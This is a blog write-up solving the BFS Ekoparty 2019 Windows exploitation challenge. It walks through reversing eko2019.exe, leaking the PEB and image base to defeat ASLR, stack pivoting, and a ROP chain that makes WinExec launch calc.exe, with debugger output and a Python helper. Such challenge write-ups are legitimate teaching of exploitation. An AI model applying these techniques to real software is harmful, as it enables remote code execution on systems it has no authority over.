TL;DR: In this blog, I'll explain my approach to solve the BFS exploitation challenge [1] . The challenge was published by BFS to win a ticket for the BFS-IOACTIVE party during the Ekoparty conference. The exploit was developed on Windows 10 x64 1909.
A while ago I've seen this challenge published by BFS. The aim of this challenge was to bypass Address Space Layout Randomization (ASLR) remotely, get code execution, and execute a calc.exe or notepad.exe on the running system. Execution of one of these programs proves that the system was fully under our control. Furthermore, it was necessary to restore the execution flow after successful exploitation in order to ensure that all functions work properly.
In general, I use IDA for most of the reversing tasks but in this case, I wanted to try out the cloud version of Binary Ninja [2] . Usually, I follow a static and dynamic approach which means I run the application in WinDBG and also in IDA. This combined the strengths of both techniques. However, first I've taken a look around the small binary to get a basic understanding of the binary. My major focus was on the given output strings after the eko2019.exe was executed. The idea behind this approach was to find the first foothold. Also, a good point to start was the main function eko2019+0x1410:
After I looked a bit deeper, the following actions were identified and will be performed by the eko2019+0x1410 function (main):
WinExec [3] call is called with argv[0] as an argument as long as the number of arguments passed to the binary is 0, which will never be true. So this condition will never be executed; and0xd431 (54321) and a connection handler at eko2019+0x10b0 is called for each newly connected client.QWORD initialized with the value 0x488B01C3C3C3C3. The opcode 0xC3 is an encoded RET instruction, and 0x488B01 encodes a MOV RAX, [RCX] instruction.+11:01% rasm2 -d 0x488B01C3C3C3C3 -b 64
mov rax, qword [rcx]
ret
ret
ret
ret
From the connection handler perspective, a 0x10 bytes header is read from the socket. The first entry of the header is checked to match 0x393130326f6b45 ("Eko2019\0"), the second is checked to be lower than 0x200 (512 bytes). Furthermore, the send message length needs to be aligned by 8 bytes.
and edx, 0x7
add eax, edx
and eax, 0x7
sub eax, edx
test eax, eax
je 0x140001330
[...]
lea rcx, [data_14000c0d0] {" [-] Error: Invalid size alignm…"}
call sub_140001650
If the message is aligned by 8 bytes the received buffer content is displayed on stdout. The return value of the printf method is stored in the .data section. After doing both, static and dynamic analysis, we know that, before the function eko2019+0x1170 will execute, RCX contains the previously created table of 256 QWORD initialized with the value 0x488B01C3C3C3C3.
0:000> dd rcx
00007ff6`0f18e520 c3c3c3c3 00488b01 c3c3c3c3 01488b01
00007ff6`0f18e530 c3c3c3c3 02488b01 c3c3c3c3 03488b01
00007ff6`0f18e540 c3c3c3c3 04488b01 c3c3c3c3 05488b01
00007ff6`0f18e550 c3c3c3c3 06488b01 c3c3c3c3 07488b01
00007ff6`0f18e560 c3c3c3c3 08488b01 c3c3c3c3 09488b01
00007ff6`0f18e570 c3c3c3c3 0a488b01 c3c3c3c3 0b488b01
00007ff6`0f18e580 c3c3c3c3 0c488b01 c3c3c3c3 0d488b01
00007ff6`0f18e590 c3c3c3c3 0e488b01 c3c3c3c3 0f488b01
Before the function will executed, the instruction mov rcx,qword ptr [rcx+rax*8] changed the RCX register to 0x3e488b01c3c3c3c3. The function at eko2019+0x1170 will invert these values to little endian. As a result, 0x3e488b01c3c3c3c3 become to 0xc3c3c3c3018b483e.
This value will be used in WriteProcessMemory() as lpBuffer and copied the returned value of eko2019+0x1170 to the function eko2019+0x1000. The previously mentioned value will be interpreted as an assembler instruction in eko2019+0x1000:
+3:12% rasm2 -d 0x3e488b01c3c3c3c3 -b 64
mov rax, qword ds:[rcx]
ret
ret
ret
ret
The listing below shows the function before eko2019+0x1170 was executed and WriteProcessMemory() has overwritten the first 8-bytes:
0:003> u eko2019+0x1000
00007ff6`0f181000 48894c2408 mov qword ptr [rsp+8],rcx
00007ff6`0f181005 90 nop
00007ff6`0f181006 90 nop
00007ff6`0f181007 90 nop
00007ff6`0f181008 90 nop
00007ff6`0f181009 90 nop
00007ff6`0f18100a 90 nop
00007ff6`0f18100b 90 nop
The returned value of eko2019+0x1170 will be stored in RAX afterward. When the function at eko2019+0x1000 is called after the WriteProcessMemory() method, the returned value will land and execute in eko2019+0x1000, as seen below:
0:003> u eko2019+0x1000
00007ff6`0f181000 3e488b01 mov rax,qword ptr ds:[rcx]
00007ff6`0f181004 c3 ret
00007ff6`0f181005 c3 ret
00007ff6`0f181006 c3 ret
00007ff6`0f181007 c3 ret
00007ff6`0f181008 90 nop
00007ff6`0f181009 90 nop
00007ff6`0f18100a 90 nop
After the execution of the 8-bytes, the value containing in RAX is sent back in the socket. Luckily, we are able to control the RCX and RAX registers by sending more than 0x201 bytes rather than 0x200. We are able to control only one byte of the RAX register, in the example above 0x3e, which provides a limitation of instructions. Later, we will see that this one byte is enough to achieve code execution.
As we know from the reversing session, we are able to control the RAX and RCX register. This means we can change both, the code execution via the RAX register and its argument with the RCX register. If we only change the RCX register it provides us an arbitrary read. This is a very strong primitive.
ASLR can be easily bypassed by using the arbitrary read primitive. The problem is to find a suitable memory address that we can read. In Windows 64-bit we are able to get the address of Process Environment Block (PEB) with the special GS register. By providing the accurate offset, GS can point to the PEB with the offset 0x60.
0:000> dt nt!_TEB
ntdll!_TEB
+0x000 NtTib : _NT_TIB
+0x038 EnvironmentPointer : Ptr64 Void
+0x040 ClientId : _CLIENT_ID
+0x050 ActiveRpcHandle : Ptr64 Void
+0x058 ThreadLocalStoragePointer : Ptr64 Void
+0x060 ProcessEnvironmentBlock : Ptr64 _PEB
[...]
We can set the RAX register to 0x65 and the RCX register to 0x60 (GS:[0x60]) in order to get the following instruction [4] :
+9:18% rasm2 -d 0x65488b01c3c3c3c3 -b 64
mov rax, qword gs:[rcx]
ret
ret
ret
ret
The value of RAX is sent back in the socket and leaked the address of PEB. In the next step, this address can be used to leak the Image Base Address of eko2019.exe. This can be achieved by adding 0x10 bytes to the leaked PEB address:
0:000> dt nt!_PEB
ntdll!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 BitField : UChar
+0x003 ImageUsesLargePages : Pos 0, 1 Bit
+0x003 IsProtectedProcess : Pos 1, 1 Bit
+0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
+0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
+0x003 IsPackagedProcess : Pos 4, 1 Bit
+0x003 IsAppContainer : Pos 5, 1 Bit
+0x003 IsProtectedProcessLight : Pos 6, 1 Bit
+0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
+0x004 Padding0 : [4] UChar
+0x008 Mutant : Ptr64 Void
+0x010 ImageBaseAddress : Ptr64 Void
[...]
Putting all together allows us to defeat ASLR:
+11:30% ./exploit-bypass_ASLR.py
[+] Leaked PEB address: 0x260000
[+] Leaked 'eko2019.exe' image base address: 0x7ff60f180000
To verify that the base address of eko2019 is correct we can look into WinDBG:
0:001> lm m eko2019
start end module name
00007ff6`0f180000 00007ff6`0f192000 eko2019 C (no symbols)
With this approach, we can also read the StackBased address at offset 0x08 (GS:[0x08]), which gives us a pointer to the stack. With the stack base address, we are able to read the whole binary memory space as well as the current thread stack.
Now, that we are able to leak the image base address of eko2019 and bypass ASLR we would like to gain code execution. In place of changing the RAX register to a prefix to read arbitrary data, we can change it to a 1-byte (0x51 => push rcx), instruction to change the execution flow:
+11:47% rasm2 -d 0x51488b01c3c3c3c3 -b 64
push rcx
mov rax, qword [rcx]
ret
ret
ret
ret
The push rcx instruction allows us to place the controllable value of RCX onto the stack. After that, we just need to find a gadget that changes the RSP pointer to our stack buffer. The stack buffer contains data that we control. In general, more gadgets to build an ROP chain.
The controllable stack is around 0x60 bytes above, which means we need a gadget that adjusts the RSP register that it points in our buffer after the function at eko2019+0x1000 was executed. Such gadgets can be easily found with rp++ [5] .
0x140001aea: add rsp, 0x0000000000000088 ; ret ; (1 found)
0x14000109a: add rsp, 0x00000000000001E8 ; ret ; (1 found)
0x1400013f9: add rsp, 0x0000000000000298 ; ret ; (1 found)
0x1400044cc: add rsp, 0x00000000000004D8 ; ret ; (1 found)
This gadget, so-called "stack-pivot", is our first gadget and is placed in RCX. Through the push rcx instruction, the stack-pivot gadget will push onto the stack. As a result, this gadget will be executed after eko2019+0x1000 was executed, as we can see below in the WinDBG snipped.
0:000> u rip L6
eko2019+0x1000:
00007ff7`90051000 51 push rcx
00007ff7`90051001 488b01 mov rax,qword ptr [rcx]
00007ff7`90051004 c3 ret
00007ff7`90051005 c3 ret
00007ff7`90051006 c3 ret
00007ff7`90051007 c3 ret
0:000> r rcx
rcx=00007ff790051aea
0:000> u rcx L2
eko2019+0x1aea:
00007ff7`90051aea 4881c488000000 add rsp,88h
00007ff7`90051af1 c3 ret
0:000> t
eko2019+0x1001:
00007ff7`90051001 488b01 mov rax,qword ptr [rcx] ds:00007ff7`90051aea=c300000088c48148
0:000> dqs rsp L2
00000000`008ffbb0 00007ff7`90051aea eko2019+0x1aea
00000000`008ffbb8 00007ff7`900513c4 eko2019+0x13c4
0:000> t
eko2019+0x1004:
00007ff7`90051004 c3 ret
0:000> dqs rsp L1
00000000`008ffbb0 00007ff7`90051aea eko2019+0x1aea
So far so good, we are able to point RSP to our controllable stack, by adding 0x88 bytes to the current RSP value. But, how we can get code execution? What kind of ROP magic can we perform to achieve our goal?
From the reversing session, we know that WinExec will never execute because of the number of arguments passed to the binary. We can change this situation, all we need to do is to set RCX (argc) and RDX (argv) and returning to the main function.
This can obtain through the fact that we can prepare the stack before we hijack the main function flow at eko2019+0x1419. Furthermore, we have to prepare argv[0] (lpCmdLine) with our command that should execute through the WinExec function. The executed command can be stored in the controllable stack. In the course of this, argv[0] has to point to a string we control.
0x140001436 mov edx, 1 ; uCmdShow
0x14000143b mov rax, qword [lpCmdLine] ; 'rsp+0x88' -> poi('calc.exe')
0x140001443 mov rcx, qword [rax] ; lpCmdLine
0x140001446 call qword [WinExec] ; WinExec(lpCmdLine, uCmdShow)
With the aid of the read primitive, we can obtain the StackBased address and walk through the stack and looking for a magic value (EGG). An example implementation in Python could look like:
# Find the 'CMD' string in the stack
def find_cmd_ptr(stack_base_addr):
MAGIC_VALUE = u64("HellYeah")
leaked_addr = 0
offset = 0
while leaked_addr != MAGIC_VALUE:
leaked_addr = leak_address(stack_base_addr - offset)
offset += 0x8
offset -= 0x8
cmd_ptr_addr = (stack_base_addr - offset)
return cmd_ptr_addr
With the obtained address were able to get the addresses for both instructions at 0x14000143b and 0x140001443. Before WinExec will execute our stack could look like:
0:000> dqs rsp-0x10 L14
00000000`00cffc68 6578652e`636c6163 <---+ ; 'calc.exe'
|
[...] +----------+
|
00000000`00cffab0 00000000`00cffc68 <--------------+ ; poi(rsp+0x88)
00000000`00cffab8 00007ff6`0f18100d eko2019+0x100d | ; ret
[...] |
00000000`00cffb40 00000000`00000000 | ; cmp dword [argc], 0
00000000`00cffb48 00000000`00cffab0 ---------------+ ; rsp+0x88
0:000> dqs rsp+0x88 L1
00000000`00cffb48 00000000`00cffab0
0:000> dqs poi(rsp+0x88) L1
00000000`00cffab0 00000000`00cffc68
0:000> dqs poi(poi(rsp+0x88)) L1
00000000`00cffc68 6578652e`636c6163
0:000> da poi(poi(rsp+0x88))
00000000`00cffc68 "calc.exe"
If all arguments are set correctly, WinExec will execute our command.
0:000> t
eko2019+0x1446:
00007ff7`90051446 ff15c47b0000 call qword ptr [eko2019+0x9010 [...]={KERNEL32!WinExec}
0:000> r rax,rcx
rax=00000000008ffc20 rcx=00000000008ffdf8
One of the rules for this challenge was to restore the execution flow after successful exploitation in order to ensure that all functions work properly. My approach to restoring the execution flow was to fill the ROP chain with ret gadgets until we reach eko2019+0x155a.
As we all know; "PoC or it didn't happen!"
After my OSEE in September last year, this was a great exercise and I really enjoyed this challenge. From my point of view, the hardest part was to build an ROP chain and restore the execution flow after executing arbitrary code.
Luckily, the developer of this nice challenge imported the WinExec Windows API. With the appropriate address, it was pretty simple to redirect the control flow directly to the Windows API call at eko2019+0x1446.
#EOF